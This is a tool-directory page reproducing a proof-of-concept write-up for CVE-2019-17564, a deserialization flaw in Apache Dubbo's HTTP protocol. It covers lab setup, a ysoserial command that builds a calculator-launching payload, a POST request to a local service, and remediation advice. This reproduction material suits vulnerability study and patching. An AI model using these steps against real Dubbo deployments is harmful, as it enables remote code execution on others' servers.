Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2019-17564 — CVE-2019-17564:Apache Dubbo反序列化漏洞 | Kitploit
Tools/GitHubGitHub/fairyming/cve-2019-17564
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationRemote Access ToolPayload Development
GitHubfairyming/cve-2019-17564

CVE-2019-17564

CVE-2019-17564:Apache Dubbo反序列化漏洞

View Repository
8516 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2019-17564: Apache Dubbo Deserialization Vulnerability

0x00 Introduction

Apache Dubbo is a high-performance, lightweight open-source Java RPC framework. It provides three core capabilities: interface-based remote method invocation, intelligent fault tolerance and load balancing, and automatic service registration and discovery.

0x01 Vulnerability Overview

Apache Dubbo supports multiple protocols, and the Dubbo protocol is officially recommended. A deserialization vulnerability (CVE-2019-17564) exists in the Apache Dubbo HTTP protocol. The main cause is that when Apache Dubbo enables the HTTP protocol, improper handling of the message body leads to unsafe deserialization. When usable gadgets exist in the project package, it can lead to remote code execution.

0x02 Affected Versions

2.7.0 <= Apache Dubbo <= 2.7.4.1 2.6.0 <= Apache Dubbo <= 2.6.7 Apache Dubbo = 2.5.x

0x03 Environment Setup

  1. Since Dubbo startup depends on ZooKeeper, install ZooKeeper first.
root@kitploit:~
wget https://archive.apache.org/dist/zookeeper/zookeeper-3.4.10/zookeeper-3.4.10.tar.gz
# 将conf目录下的zoo_sample.cfg改名为zoo.cfg
mv zoo_sample.cfg zoo.cfg
# 进入bin目录启动zookeeper
./zkServer.sh start

WX20200222-171524@2x.png

  1. Obtain the Dubbo project from GitHub and modify pom.xml
root@kitploit:~
git clone https://github.com/apache/dubbo-samples
# 进入到dubbo-samples-http目录中,修改pom.xml
vim pom.xml

Modify the Dubbo version to the vulnerable version WX20200222-172028@2x.png Add a dependency, import a triggerable gadget. Here, we import commons-collections4-4.0

root@kitploit:~
<dependency>
        <groupId>org.apache.commons</groupId>
        <artifactId>commons-collections4</artifactId>
        <version>4.0</version>
    </dependency>

WX20200222-172346@2x.png

  1. Build with Maven and start Dubbo
root@kitploit:~
mvn clean package
mvn -Djava.net.preferIPv4Stack=true -Dexec.mainClass=org.apache.dubbo.samples.http.HttpProvider exec:java

WX20200222-172721@2x.png

0x04 Exploitation

Payload

root@kitploit:~
POST /org.apache.dubbo.samples.http.api.DemoService HTTP/1.1
Host: 127.0.0.1:8080

paylaod

Here, use ysoserial to generate the payload

root@kitploit:~
java -jar ysoserial-master-55f1e7c35c-1.jar CommonsCollections4 /System/Applications/Calculator.app/Contents/MacOS/Calculator > 1.ser

Send the request with Burp Suite WX20200222-173202@2x.png

0x05 Remediation

  1. Disable the HTTP protocol
  2. Upgrade to version 2.7.5 or later in a timely manner. Related link: https://github.com/apache/dubbo/releases/tag/dubbo-2.7.5

References

https://www.mail-archive.com/[email protected]/msg06225.html

Download Tool